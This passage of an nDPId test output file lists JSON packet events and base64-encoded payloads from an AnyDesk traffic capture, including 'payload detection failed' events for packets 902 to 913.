\/Plf29gdsZJHKF9nqokwhBHNTqubxVcB8Z+YgG6W3nvkHtEvAcOkxlJ3Bz\/wxOtXs1q+VzjPSaVvXY6VJ+gFifzgWFeSAgY7bjKft0\/+Hte3TRTVz\/QZ9sV0ucPHBOiso5FoQBRV0BPYBqGQ2rPPeVzqAYG2rLQLNEbyYzQM0dHtJU+uIM9LYlPcsxx769ZKhjLhWEWnlLIP5wjnY66TqBwYygFFf9ySGDHFtrdbYcGg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":902,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4377} +07811{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":903,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":260088,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeihAAIAGAADAqAG7wKgBstOUG56PH44MWcQl0lAYIBGExAAAFwMDFXlZ4hNO+msVbiH9\/4INmSRLqRwaweyN5NGfnD9ag6qnbpzgkdfc7z0dn5lZ8dG\/68TZoV++UrIXswWmBhRuT7AkznIlnwWs4DIrfgOCpnf5KB+rOVnkmUxOKNKZ8SUDH2ZVflNcVnzoMqKILS3jWbPm08+tJHOtepAAdJLuHOQvJq1kHtTDrwIcyH4n6pQc9an96gno7DaweIGFLvoNB40fg5NK+J9PFSe4vSpbl4vQ0Gw3KRlAoQFYxq9elrl3fMh8tdSjzSmGEPGCxK4I0L1aCj3P832R1YomMe6G1HZobbQpUbekzYeJ+dtwwwG8NBvxGDtSPARP+e4B2fO7WEbJplU4sDVcuYFM2Q+8ijwLIdPZS3jYk82IorArpvaHgPP8MXpylcBH25pdMrA+I2hSizQ8rKlIvEw5r6SKnBHF0QNQsahjnvj9AK2sSJorJCcQZb5Wj0YRd81r7fPvQbHSUlezOtM1rlji30wDqkHyNtx45uGk0VO\/QLrsFDDBO+cA0zB5zyhlRAOmePmRghoY\/E55FWTu3X2MjyYyqnMttBxF2vHJM0G8Mrq4BIZcONHaRx2wWYSt6QmGzKG1k6gvFodcguV+QgFa5G2wWkPt9oubZgLUnqQ7CJKqJVi8AgjcWtZXjX9mmCsjBhndBOW7\/wG+R9ONCGDOFaAu9z3WHSsB\/GPFMW8ubO5LFBbTS6TWXFjUIS0ws\/V8n5kjUust\/9ciRWWayEJgKssZIlkXHmnwApSrEtNeHwVnHn42y4zkd9gE3ITbilSCxxUszaegoYtOkBfYzNCWsZKk4PR7c8qzAM9xRRKt9pqen4ogUEL3GnKffYdcr\/bztn32GcXQ\/ADRk3yc7tJn6OyIt5c0Ml7NGJI9OcrXfIoYKaBsckbgGmhKDQvb2eSuDirmtlp49VF7zYsUp89qnNJedp5SYqnPwUBzYSLhHJ8vxZbnQq0mTZZiEPERmI7I26aa775DgkEO1kTqOF\/JE4vKyo1OzEmJa5ZS5VLbCFEVGIDXdbxXHMz7BWaDYx+gVMgcRXuDWEOU7yxJqfabL334U1FOxjVyWYzODQlLjDzd3qk0NNOr7SIR\/MuSiWXBXtflcFHlW1SR\/ukRsDATHRzj6kvTLPSAKNAZSgnleco0vHFzNFt\/QxPUx9AN8irU33g5+b4W4zwuMgwHAvb2jjuD9iHUMe9tJj\/MRrowIiG7j+EvPSlb+pdv5SheGlvgy28BBGCHEqOfSijMBSDIp5ZCxr8yh8BQO0AXTfazza6s4v3Bwv70IR1RVs\/ToWNDKZzqf8CYq8Suh+5E\/NqTzLWiBWS9KCDMOTNsjWRrWaATGmQaP+oAAFdoI2FHdgO3dE1xNpeoJ4VoTpCSAi28WYQ2myX\/s5V01QUdeMDuaFkaotanFWRYQLK1f51K\/xRC8be57JCb1RIeZomdEZ3ozZmlqv5ryt8LaadbISOJKZFgX5Mne6XacsymTcfWpwG\/XXcdlDzu3g61Qq6+9FMsis4c8VNLMLWTrV2hce9XuQhiEQYjqE9JGaXtnq10axqO8+WhYNMPA\/vFxxais\/5NPJbvHz+9dgLyhAx8RSVm1x4iU+CNrh30XmZJWTp+uSRBxbk6rDzrOElsX7aOvTtugLd7zbEt6LuTi9\/FgSCXlGtJlZALnjEkmlsIe1ADqgI4fuNYof7fO+mCsZB7zKHtr3AKH6EKfE4qZ80cb1zWoSXbLk1pkdohD6GOphRJdBXEi\/PYqubgqjUA9yCwUvrU20eomR1HljWlrBIuh+ab3jKTkPH0hCi7mKN+p38EIFgH0axU8mIxzWSqjFtvBXEHIwsPxWdjs4axs+AFVyo6IC8Za9vijgg+9yX5TQVFxAs70xpaXynKT+pfFi2dSgrFP81VZi\/1NgqdXGmm18ibQq4gkigU+lMwQl2H4Br6CoYpj1MbrapLTpnsRgO+RRutDzAC7pKd0eKiLgv5enD2jmoqr\/Bgqj+IlRResVWnUOVvbWZNqQxLBju19PyakJ6lf\/y2LnxRUAxL\/PUYwuUZHOHeSUhaAzQZlBHEwFNdJkBDMsx5vg3KBwCn+8yFECZZ3YAmw2e6wvgtGIDocvd9NDq6FMmi+gGRx8lGoQs0aUEjGF6WBdvIDHJOTrh2WRnW6nwmVWZ2xe\/dW8Zd9YBZNP7s4f5SGReRxDBBPMVv3ZV4ACOM\/YpnzjXe9I4z+rRPfsN4TFOxvJ6GJjm5LxhCPgHUp4jvvLfFKHdsPFZJK9enVHdfWsRf6D0Gn3e0Cqnkb9jYXZ5MBCHkPV5tDwCsi1fcZDXS1u2OmPPST7FXjtYvW\/Sl96RcpOommJ4Wm9S6XqsXVI3VLUa15kmj3X8gAqi\/XbYRWRh7mZ4\/7tOcmmRUxGWxwGa7V10IEDiSG97mSX2SD23+cVijAOQKbFpjmSccGJn30Xh+BE\/OAgcIMLkDr3\/FyHxbsEkzcum41CwT\/my6d7JMJExD9h3Ty1ZAHT4wtUsdT63fD2uR12HdHiLfiXmcDv540HXqVJm\/rPPwOrSnH9eanqDNNlumf3wjjIa7+cdRKfDQM9iVjQe0C1rtEbRttvfDC9MSz8bi+oLdepTFLCquo2LSAos94+h7GiRXg6900EXWoj+27NiV8WM6qB32mN9J2hJA1jnSkTtZQFrYURwr35PSE6Lq46whHltARo\/ct2xMqjV\/FZsVGKyu0fIdBl1CefaRaZFO8cYQCKnspO89rrBW82wphK7j6q4ofRWExa6HFusQfe7G8q8e65\/4Ip6IFuHThkomGUHxFmcc6R+rwhHDjYm3ZWMAbf1brI145b2On1rYOgtJ5xp3TyhAoYmKTAHEFKr781EhmixZMrtO3JRCvZYtlVdmDJaqwhzSXcSJwsW4qHOu3WBwFfG+v7x+8u\/ZVdSWknlP\/CCoFjw0R4G\/HfKH1fRpxXLNprYqvORe+JJ\/WSCO3RMFW2i0vwEHjIAEdYN66mKr815ayQCmlCFjCCOlkRbNwv6o8zGWXIIq3tdhRY0j+buOhATUIhYpsYIsOLIlfJDvV3IrSf9+4+UpDBlLQ8SmfRccuNwGkhVIGBgcviOL2MScIu0ab6nkYOlLpSyOHrAb+40z\/4F5RQ5oejya\/57GM\/+PbHm66RN444S4OIztqPjMVhUcb2FDqFlIBVDKdpoPDkYrNrXiibQWhj\/nWzUliDtyDdDUHOcdA6O5+IFqxfjS0MkLYvKkNLgucWDibziERyCNh3BCzOS9rq5FUwqLa3uqZhpNgTDcDUTKxvCFfz4gRLvQe67iWJLGKDP4H27SyMfiW3hXkZCawtLLp962N2l6IlpFk1cUMD46gsvXk\/GNqRC3R1h45PSKTT+57flI8WksUAsnm9N04Fcg0I0Ox5vObbT+2icTh1R238UnQlj+6gRHR6NgvLP3Q+JM5HpWVBJda5GMLMCnxKRXrV56Cogan9tbjd5Y5Fs7nqZt4txnqsAcmO8N84JrmUZMiv6nsP5BYpZE+oWrHtTjP2orwQyOJ5QDts0VsySXE+\/cxAVnkS7ZsGiNiRkjmbG9lZkOim2LVai5UrtE1L1td4W1QJ5Ub2jxxMT0c2v0vLf9Zhbp\/Gtr67J6h9gNz8IlacMf9O\/T3ezwKmyB2\/5MqUB2jUoeNrXBXeOBqFD39xyt9D26LM7qc6mn1b9tI2gUvxei6bU06E3aKB7OzfngzQogl0wM4FGUnYQMFMcxyvlf53pbrIU7bdktIypFRxlZVRLG57\/NcSnBprn7NQvCWrXmUlUsgTIkP4N8xIseJoSzGUZQ3h3PwMniDdEhzRWYVP2TbBPdFmsUszuiUBSC66vbjvrSWxz7lkutJVQBdPxcBF2Tc\/yT0XiuuVl4115ahb65tKWsGNz6Jl9Q8cuLNuuaDe4wfJ5S+S5HJJUpzkMU18nZ\/XY5mGkHuki5yVrii9PkRobKyZileutAXKJUvOolPY1J0xSZp8HNGh2E8JQy\/l6uuEZ+B1zzr2UjQ2ZcTt+xg4vuwgXJeOYOZFMLfvsIYssc8Y0aKaUnjHRFzN8bFbaddzaKPNs8u7mD2M5N1PP0f5PHIYVLnn2D4TOZxRX3C2cniBYEPBYXn5b+tyNc88vUCV3h\/oKastaogVxy5\/27ntnk9CHvvqL8dDkk\/lPB128LGCweQs8ZiEqyWg1bk3iPs8UQPbRsgNN9pG\/LQZ2bzr5kz6Plm2RZ5EWNOvDAyO1LQ3xa5GNEDfXkuFh6WTOW7d3zp4+7NIFK1rvy3nfSGz78+V3know1SyyW1UmD2+pSiRhxUelWinzFYpk1ZfC375tL1VClbEeSGBqP2t0QIUVYupjSq21fCzOeyWg7lae2smYEoysWfBPQcttfdmuRrtgVzqkzIqwfgmqfxUKsi\/StYgiWnvGafcnDsJ4An5+ilO27HTrtaSm\/0PGOZnpqu99tOcmD1+bAbYEPV+MNY8FJmIntquyATlL3C2x4vNQUPaq+8jN4Y9\/zUPCwYL4ekjn8GqMvKWT1E91Ic+BauXdoOSXQLakU8+EKLNEQtSf8ZB6TSDXYZtLQcIbZKY1qjQxnKGxu+CGo08NTwva4agjvc0azB4OYYfzSGY9FYU0zHtU0hZ0nsOvDLg1kh8Af5xLnYUfJ0gQhtDZLm3+FkEcvjkjo4Qguibc89PV1WGo6JxuUw1iJr6ertJFAv6WppT7Mx2Ad356GvMML1fU3S4Bxuuhrx4Z06awU+M6Uv1\/ALXupvWsbXS4BqB8ySYZZ3Wp8CkKXqBCzfCCk+ihxkK2v8sQM6B7VH3FBKprps3fKgwGu6Zd6Ka2FRI0HMATqGvATLduahBNe8mu66m4hhaC9SOU\/NwCH5XDVTr5bvR0en4FyBcjEtmqSYXmKMvBmsfL6vgcM5+05C2fjOvmZe8tWbeLud8b8EcBXGYjFczbFIm8tQpXjv2y9PZx4sqIRVV7bJSyg1uG0F5TAbMZgsxgct+dspdDH3mn6zzzHmRHNjHYKPZpAUQ4RoPGE1GBrZXGLRvRpYwdRx+Pvmf9\/VWfcjxyW5tvoln9aIaCTXZC1PvFCAYqUuTQuurcqBHcUxhcQ+9hyJXF72p7Fq6IHFCCj79Ctz\/xREqFvR6tO7xcUhnByuWS25vf9HZRj7q5So9ZidyVojelRSd7hALF9e+hrGZO0r2Ut31SgF7OnmOFv43EDXGWqgamENlRTMgS7C0badlv8vXs76Xj5WZlAnXAvTLB5pUET\/YKbuq6eWocKEZ+XKUMmZkiG3eNofeAF5QUnOZaev7c8yNL2P3KeXDaCGuI6uqZEvXU5HPLSnYUo4JbC1dCuLmExi4kDc5LDZ0SXcHcTJH9wYqydSBupBl0yaR7leD\/9KAplNbAxSQ4BJRPVo28esWwFF6+Fsk2S5leViM3qhcmz3IvNsYDXYAmj0cc8jqxCW7L0R2WvR3VtQQXcC7H1uhzJNy\/kxQ1kjzLGSCOuZypm5rxZ1zhH3WKWcz154VB7Uy\/FsJJgp8dCTF+k5UvpDKMqGtJ7oU4ZL1xhVB9HikcEhNPsTy4vkKEJkB+Ch1lFkXN7lDJcU0jPrYuI0B3YEHl0rOCbBPwX7hZ91zLdHmwqBGgGBO8NwQ0ro5SRXKzML579t8c6idj7gAtlPxcj2zVoZCLIgbev6Td0FISNPKTWUeaXrrjxwRwHQ2KtHaN\/b4XqlESKBswCDIh+i1oXCwYTGWLKiOSaFwnGDevVqOENbRZafBj9B0tbI5IekkIP8m5ysOOYfEYn5Dtz+AQhZgD+ED6swXFfHTNrC5uv9qk2IY5JLGux4O\/0+5kfImtFNNAmMn9ZzvMyfCclaa\/QmdYX+is++i25JRrajF7gapQKlDLfWxTgHxIHUlthFdw4sVo4WG48FRKTvCvg7GIZSjJG20WEv+qRJH2\/meAxZdePYKfHe47KWXBmmeiV6pjWLLUMv3+3SHukihsw3BeAN8Dhegyl+bxnSr29vttEXtliESNhi+XiiSTdjVXIz9alwNgeKq3IKsdertYAGDeruOV038fJhWO50E5G+5ywT0Hvp\/fZzUUvwdxJd54\/US+9\/v5wEnv0qxJLdfyK7mst1xFbksoPG1WBbP4yrSJb\/57bGYMvMhRD32oWrrv6wBJ6zHPKUXziy8tZ341WxyVG9oxtgE1vixhHx9p1LCk0BAzOIiMqUZiGn3J2Plolhjk5aEnRBos5AIhO757tnJlQtmgWU0y8v5ugeC20390iLJrkYrApqJdeYDdSpG\/+57uiVilN\/8u2Unv3ODsJMa\/dQlqZNFvGnpkN8LUBs\/ah2en2aJfTIOBS1oVVrryIG79rLtB7aMH8xhr+CPGGlrfLuDbH1opSxb2t7lK4swW2XMuDMEghWY4iCJUfmk7SqNaUA2geSu7H0q5DfM1nGsp\/MUP6ELoYjfd7knrHlhDlDq3BeoIru6bP0naMbFLLOCwlE0vsr4EnoM9GV17WFexaEEAW4mP2I0h8h9bq5N4hKvOeVaw7b+ZBg5qGRFd3q9HUkbSWiyg\/UdNVo397iG838pFwhwfS6HidMN1gV0HMfsnwYg7IfqfH3JV2vJBi7xv30PMgh5ju3mlngxSLckVEHkKsXV\/\/xlX5Jhcqg+LZnHGueP6nup68mHF9H84+nELl373H9u0Fle5WEBEi888KhLlXD9blLA9KH3m6uk+OvmYOO+ZAHf0BBDwVSk9SXD1PrE9r7Y2CSTkaDNSnq9Yha0xh1Udvacv\/s9uAoTvX6yS6k8c+yCX\/VwAFNmDo2sNTvdU8aa+ANYVQBMrWTrd2ZJHX4i4u+DqiiPtqEUFsoIfI0tcVfi3zljZYrs7L0Qb4EvvaYpYx7Pa2+CXE20r45P2fm2DV\/vCToxQoDhxUcY8wRrsqhMIw32Cpe6q8b4FOOC\/FpYT27RlIXbT8pJMTtwOcWGpaWl7Y2Qo1yIpx0SXPisu5HmvMJqdW7W2P+Do2J5FTOSZOFfV5Lb7eS6bfY1lYLrzNAK3okP1XCbr\/hz\/dMXQPP7HnTOVJTBaY7bQ2AtQ4fqNnN2mTltEWioxNg\/iWtBrUO\/gUInODwroW0NVo1eKD3i6jRj2AElepHnTTKQY49739Qd+aYYp58kFmHgJZY762CvJ0fwV68GXlgXCu647cxTUZWB2SNonQDeZYyjuPw\/teLbCE0K32yx+ZDg8zetf8Ekl9Cvi8bTWYT4gS9k2EqWHLWat3PGSX5lXOa9KewHf9Oiy20JdwC87YgHq054zAk2YS5smtZ1dummrBmSOcfKrKMptjBfW5hrkVcrLga4782\/MAq2c9wHqbrEu\/cAIbErG7SWFfic2O8EtCUnAMMy7k"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":903,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07820{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":913,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":263509,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAei5AAIAGAADAqAG7wKgBstOUG56PH6PzWcQmAVAYIBGExAAAFwMDFXlZ4hNO+msVcMvbUihxDXULC5gL59F\/LaVYSHB0Jata7enQFFf7IRbIS1bwj43xlG0f18M+C2bTUU+8oDBhToiuMmm3Ejkwxo3TQjwjYkNSwxUMMdZ2Cw1iZ+POvUP5ykfj4Wh4wHKf2vUcRwgR86Plnb7f4D1zdF5Yh5Gvx+1G7p10ZnH1t5cBcgNUSghslAYwin1LAqRYQ6F4T7FqL5ODCT2xk5AWEGRX4\/MExo5yXTz4jd0Gy7ez2JhI5IA3znYS8V3luQeav0d+cvbrCgF5GkKImUtrDDV2A5Z37\/ROAK2PlpdWGmou7SPMshLnX+Ll8Svhy8Oe54gMuojbF7\/T724qp2Grv5l7bGVznWYDy8MP+W\/hHQcmvuWGJKs1yYCRX00nUVciUNOsCOUMAg9XC810lTuQO7zCSeWAfeVXuAFQiiW3aLxLUsayXj5RBRaXvJSsPyCdc8BaFqvbQTqf9vNgITtKaWc1St3OwDDGkE13BQeWkWyCJXEzlYKZl2G9M1W+aPm0Xqyil3rCB4kGAfklbCNL4WiUgSoeyAZNJZXeMWfeUSwhlIeMN4wrUG1xdQKBzH2oNEIRxIkYnV\/AltuUzzaZV1F2xIJ9GuinB\/QN+eZHbIfgxp7HW4\/l+235OOXI4JytFHfGApxLxKBxnrveCv0nNAmom+3dFlFRJmS5bnt+x9R4otgC4V1wKciuzQW2WCcJcZIWVClSvKuBatODoHOaemU9hiJtPlCO5oWDvWY8QSqX4pjJlC\/6q0ZUQygGisO\/nGfKMBcOflGsGwwaJLhAD0oSoI\/AegjlIbRt+yh8BY9Yc8473Cfxl\/CeguLunwWcSPtB+JNlGvVqyoC+dUxsVkSOAOrbA+asGhNfq0nLXkZ4vyGoR0VQg5NVycUT5HV94epQwK2GwZ5d1sLybS\/fapcSSYGepwL1pPlxXx3mo4XJAoToW7Akh3wBa3TIVHB8rBkDf8tgGg\/DrGKpuc0FUo0bqIoYRzsFecu5OHvEz\/jLDoeEKczv0aVd9pxf2zVo1ZRbN\/RDpC7vl\/ZZQ8gQ+WJNtRXNCpc+O9iGJM5xykvjBDZZewuCxOamKNN+UHewPT5RWhxMuSXwpdvSIYWM9ZkRfaYXrczLE4HWknjcjnDmCnOPzvcKNEAl4IGtoLkXPi76U1beAzAnFk+cWN1P55kh63ecDbF9eNzUX7h31dPBRP0b36OlbBhJ5C81\/BpbB9Iv5rd0B8XhhNHX+szaXoTYqpLLLiHBgbf5SpCzvu5bTAqj+P+ItTFceIoStAFvOQlBkxi6v1N8P3+b0WA5702RBnMjI7max1IekwHBFoPIWLCUk\/hRnX9YBvTPlwUYiy8hcBWECdlSmfupFiGVK466G0qobUobvwIFlDkg0EPQrlzuhTnOJnE7gLFdmc+tOdg4ExdtPJ58wACNdrqrpNNCi9iwAmy5Lql\/+P1szRLkVDOChxFCanlzsnTC\/FbHWtejqC2wD3jNBPBMLw3Tqg\/hyEQlshgE06UpSOtg8lGqM4mhgNwBrL2U+BMmvoZWC0emLhWmDHmw\/bAjkST67VVABVb7X9X25B99\/ACXtA7e6Elubg7OPH\/FAXK3iBkA8Hp4mzIUJT5F7U3D3SJbr3A\/KUhuN9bY8EnzCLwJ1hmxkxzbPxW840aOWbmAApdAdPh90O5R9sNgy3sszfBzcR4dDyVx97Hswaa8\/rqQM00mlFqs196Gt0tkngJOZ505NTb3zHjV+oOkTDv9ZEUpWYPR33IhL+P2\/ZF9hK751pUA0VeiANlYTPqkwphfxtBpus5KSrpvtBItPW4ghYtY5J2yQq2jQTYQ2bMetE+hktqABC9ul83M0CFb213cR4XLP8H3TtBwleiiUVjjAqkJgqth3XCoccm4Ihe5zrOmaYD3n5HVbDQAtg+NdbBXpWj5pEitWs9WaT9Yb1pazXoRg\/J9mD0RtUY87e+P1H8GbFjuQHOTmDBiCTCMOQPKKKj2\/0\/eAnhZINB1s+SA1R9Gwgkl37XjneZGuFvpqFaTvJtrsEILHMLCnA\/97SJKq\/xndLVXsw5jgW3r1d4PTM\/dvaJlINBjNvEs2UmjWP6i1r7eYLbzNUxd\/E59r1+ZPm3Z16b\/XPq5zDZ+i35eOo09R9Mv6ZbtCdIyXlL1ZqA4dgd0ANF49Cbe\/e5oLlWj4s7\/jY+RGENT9ODiL1AJyD42tTRcxTHmbIdkKpEXdSAzWVe4wheGu\/OGsHUKg0cm71VY4NyOdFgUY8pqgPzJPq1wwKbPN6mIPXdxoN5yfJDo6jBQ1ID97SU6Bv6DQoclqYoVke2Ofl4ZCnwa0xTX\/hZMINXxH1\/7ZlM95Wsbsm2pZ0Vh22TyvsXX5ZMZcmsDjkwDXCvKtVRT92DvzT6aqaySUqlzgN8nutx\/J7K4ADYmAwog3Gi6tz2CuyCF4QOakpWjS+ZHhhN4LB4kXHdX36ydTuXCJ9rdx2WmSaVhcUhNtTNRJ1q1sFMQEDtL5kxkQaE5RdCRJwOrp\/mPPpzfGdfUz30sVpqR3ycGyPN+BHzcQ\/aaARI+FyelNUj42gaGg7gRpe0BAAF5QeyojUdVaz8k99kujl8rQxCe\/ch2\/f4dCvOFR9QZeaqJMz22M71VdYdeLOu0v3iYHuBkYR0DD67Ljeq++TPNkfKMue1FPD2jcaeWu3pGo7jFX+1wkpmma+YbVIn2\/9SApFN1jD2cw\/nFbCLRbSr37kyktAzKjfMAGfescfUJUirEpOS19XbQMR0QMzZAAQyJ0KYk49Tbd9Yt3QDNXjLuS0AqFpgWb3or1cy6RfcW7BYqo6XuM2CWoAu07o2Sk1BlpX73ZkOIhMARsV26aD\/ZRUk7OPVVVj\/yCHA\/UjXK2kH9wIWwuzyA9AXggqdIGrBK20CtGKD1dPgaDUT3e8Kv7fsb+Nudmk3mj9vdGTqpQgcOOkrtXZWTMm9wqOOs5yRCl2SZa4oNL1ZkY40JbpA8kM\/JqPyl2SjQzjsvZRUxSY\/4LSud\/zPufjEsGFC4NdKrtoe3rXV\/H+JAGY8vtVak92MpxG7xeUoB3\/C4g9hdsyreo8EwjrWH4EnvRhBZEYJPnd28v\/I53hD+p0j2SBdVvWLYfR9jSzvxabFnIyHZfcp+Jvb7Iq2nf\/nvY+e6ItxbkpBvd9NKwv9Y9zVuJxplzftWNzTcezGJ8u9GDTzBJNE4im+DMeg10vR9VMa6oKAKV3OEbNWVkBazzjGRONxJgEx+\/qymqp8bHvwrf3dPMdsS\/rZvAcgh4td3S+My9va9SZv1paUH2NDIAqydYc7U9YOvMTC1+NuzRUuuYWCzokKtF7nvztZ29RInQSLc3QdcaEcDAsk4nlPd2ZivT0+Y5Nb8cWrQPMS5z8V6jiHWB45P1FqNUNBav0oKwlhTD9sXLD5zdKE1CdUKK8ZFMpa0LnAW2LMshErxk40Z2ui8DQi+Q+JyILC+4pVCWUMcjjbNwcA78kI\/YsYBzSSlJI42M+1SD0tPzC6rn8xSUxnnTDci6jMV77x2y4pZ8Bd\/Ov4Ny0qUncu07hrJB9AUiKDGQ8k+4mMtvaufuYDLxx0\/dysxFixuXn99\/caz\/mDdfSPrluVWTrZWbtdBGdJh4AKpvcUMWPrJsXmmdIQK6g8TgPcLuZv6hzuxh0CAbAoiG4xXThSsbXvIfEm3FYc8N6mmRtUTd+YI1gF3c5CKn3bmlZPzGTFfg51\/qkLGbGonGJ7TNFeSxetyqMqgbZ3QbVShDg1RF7Xc97v77twkIRvIPMBZOomRwyAqxPf3Dvngf28blHpXduwhn0yQkBbejOsatIDaPC57fqWXkixrKDUI3apdFfC3qRMyLisXZoNtEzb2+YP+F+5CVCkuvnY7PCNb+4bNpxnufdB4KjiJiyDfmJGMfggtb7o9nGl17G9ObPs8XhMtW8qTLCZkD1v\/6HzhZ1drRfb44wPpXTIzRXpsLbLF0+stAZKXK26PuA03qICJr\/JN3\/IFrmwJWIE0i6tjms2tw2dMTapKHXYjE5fwbFnfMTVvdqDDFqQ+LpEJ0QAgCYioHqEZqxzs+ltsXU8JYOFQWmWqP4drS8qAUEmXan0yKeeqE\/YQO1atFajnAn63pzueIMzU+ZWLtEw96Gmr76y6f7akTGXM8V3yze3fiWViYlpGTlcXxsCYIZO3bOsDag1JUov7EWuq4lC1MTTTw7aLv6qpA7TTtRRm+7IzLwlNV07Y095cyTWx5J7kBMumgJ\/dfJEm0pa8WdvucqXSDehO82Ad1taFhgJJWENBymNtldk55jVW2pgxaJDeoznf9eVKKp1qqBAcaaKHD55chCcj7J4s3Gi\/3hcXvv5zf8ShPb9\/\/1vbVQpdMoEzP3wvqB9XU917SPoTrrbwd+vhIv9xKTJxSMZ04g7MEA5zjOKWIKVQGBx3VMI1Vpmtc49asaNa52qCdwCgFOiYLcAhlYQCu9yaaBn4YtcqkZoxLpuh4mAuI+jwSAj4MNLqbORZM\/rG2gOGwSiPXVEvmIC9RoOQcN1DZq4gtBwrY\/av8dPrfqfNxRxcxzZ2rKG4+6hr8i1xtOW+RNpblWelpc4eIgWQBYz7hqUdYi3S8Yc2kyotRrqSl39K7YvmFdXIin7FJiXInrYImpBaQACwMEN6x4cOs6ZwiAal65TZAiPe0dlrKa5Z9CZBocSAJgv0lR9LQ+Ny84dp0q+eEV\/kOJUOa3odAyKPw2PGfPxlt+sMgHsRqRRu+oY5V3o2hd40qq2sw\/9Rl6WkBK6cc2HgR9OJtm\/xoRrLcrDBpAvShSasEUAa4Uzw3jfygGAMNrI6YEDY+AY87gFVoDA5FoeNYcrRhC\/AMHHPou0jLJvlY3Kn\/JoaG6Rw6\/\/\/YR2HCeQECR5TOLGkIYNHyxDuRYCyBV5v35\/xEQ46PEOMvtz1MwDlI\/tnvS7xiWQB4m707R25Gjyagwx6jfDL1HRtTmMosmtehsmo1qPilJ1vJM9Zj0488QHfjjyYPEp0wBoukTPm2LKK6JKyNq2YC3mz01r0I7Vyzjp\/F6OopmWPsdVl4WhY7JzbbU8BSQkKaKL1fVF+cOn1o\/XEkiUZfADgYUbEBbjQZ0HejzfuBccWLLAiGmtzIPvDdod5RHiddesnYPj7aGLua71MuQYeO2fqw8yMPG23ixNDk0Vt6c+el+9SLGQaz7RQ0mW7JFz+wpNv86CMPpHDpL+5BXXQO9\/AihgDb7CVROKi\/B18QBcbUjZflBpQvOdCfiIDmPoqTY7Z4V390mGBXw8SjKxWmumukFO8bSji7mF1NXdGdpjTMsp8tNx7Tr5rMtdqMCAltRYmeRbsPRGBQsSglTTkO7mldqWUmDYMv0svpIemeUW2AQFhdCSv1a6GhhC4mfkANYZo6rpa+ny82Ht0mWYFLE4l4RGViLHfUojindKzI\/sfxkBHTNRsAp0y7aFqEWh7afFXdedze0K\/zSTlzsDywoW7b9hPwNR5DCP+uHAzaYL1KLYu\/9e3XYmvXKhyAEHd3yhU+fnOMtTIgU+kKj42GSXRyU8WnHpAo8491Bv2KZb+gZmDHLNYqfY35vorp2Lj0S1cinLrI8rmMXnZAJ6YLiiS8636bs5yiWTPnn2SdJWdyWS4jJ3XeXgUHPC5oQ5ij\/sdkmx2fPYQqTKqh04SNbHYhn9Cn4ZglBjsjB3nYEWjpWQf\/qXMy1IxPBVbPV+zxyia1zSwt6\/bq6xCasRL0xNKdv+gvK6BdknmHIjUF1V0umXZuNh8lJRKhwsUpw4MVhVSE+Y8oGy1uVNSq9DNWSAKobYDifCVELZ6FS+ZZi3fmjQbQNHAsykhwFzTa+olRMSyfyiPNFwrr69qrULAB034ZZMX9JZKvVHir303KeHar9AKRAsfk0iOEwKwIoeiwAxFMCTWfBxRIHX3oSqsl94DCh9spITvyxpW1MZyW74qoPFOfL4lD7mAYHl\/CdsPKY4jksNg\/4tlBho9ztRjG+s1YqaqCYmcJypViizK9k+evzKngLsJ\/nFWlY5dgcwKODXs9+X2Ahck9sVuAAc5ndyMxJNTKhJEkDz4ynOw6SFNdtIy2QZezrkkV2m40aQUMIyHbRPPh4wZadHfyuX4keHygWvYWchUHbuiiQzcS\/1BP3fyBDcBfXH2KrSWyw20fiWjDhwiJQPmclP9+Gyqs8VfPYgniaW9Flh8PxpmoQLwRgWU904fnvdzun2Gk4P3Or2dwzIywQwBbJ0YRT0GIBKzM2WiLSoi3v8ABrgSePJu7bIRrCRdzIFPDEPLfzN4a7JMcSB3q\/c32tfXQ\/4oG1\/R7SqzapqMWV1HFUQto1w8Fcom4oeG2KC1qVNTsKP8ATcyoNQzrTYXCySSxpIcRVulxLXeIjKBXWa2ry1pdnl3VjfB2X0foekkuqKj8uFsJZKxj3CTXFrqP9hU9czPjqIlKNKnpUycyyV7j1NFy2SiSQwLC1JQijaRZSq1RNu9R3puXk\/3FKtgIv26bpY\/DfbrxWcYwyiabO6VtzZRRn8rKsSKOroMPYYkDtzR9P6Kxm94CxX4CiYBGo3GvXSvUKgxU7dPWaaa0kYivFnh3nX7yQRAK4gMostmdOYumGKHWgU4RAFlvmOMbvpaU4USMwST2XaJLatSnG255eKIxlVKkLR4bd8kYQyeWQLTY6ICZZOPBReMz7dK1QwqoZ2EJDRFGdUtRwtCAGFbaKJZwz9LMRuIcMbfvtSD2cLWRtL+DGV8eNMRQP2HHNzwgb5afjJMD27TdOfHXrVRxEkUb8uzeS71+P88hkTojZbmwUmzKQELbaHMQ2eG67EOqN7z5dfHLuOy6ciGD1G6A3NoZib1HYWYSGNzwthz\/984Pb0+rOxKO7deHSiAFEneBD4j27a+Z9m25HOQuxWbBEClNXrsHV3KTO8QfP2Yy2t1CGLvajyfsNEAnr554CLO5eUUNN8neAPK3zIhgECf9xFapiNHmXmVN5qacM1SD7v9WDcsjG+aj4Bo9mCCvACjnSn+4hBp2bbnEZR+v6lrtbGyUllbLbLIoaTcHYz6EDqoY7kr2ZBYLJsRDCAcnHjF7FRrlt1wQI3e5Ie1E9nUaY7RTQg\/+7y9Sm1Koz1reHvX+n3Ni9h9lkVW4f9nWN88QqYxXc22Udjkl3RyCbMgCjgCiH2k52chrHg0BgHm15Oz249DVUroEd9m32XZqGBm0nMPhY6pAKKatpKXe06zIKcKOLaWSchtzaw6yLuQIRxni9i0Uvm7x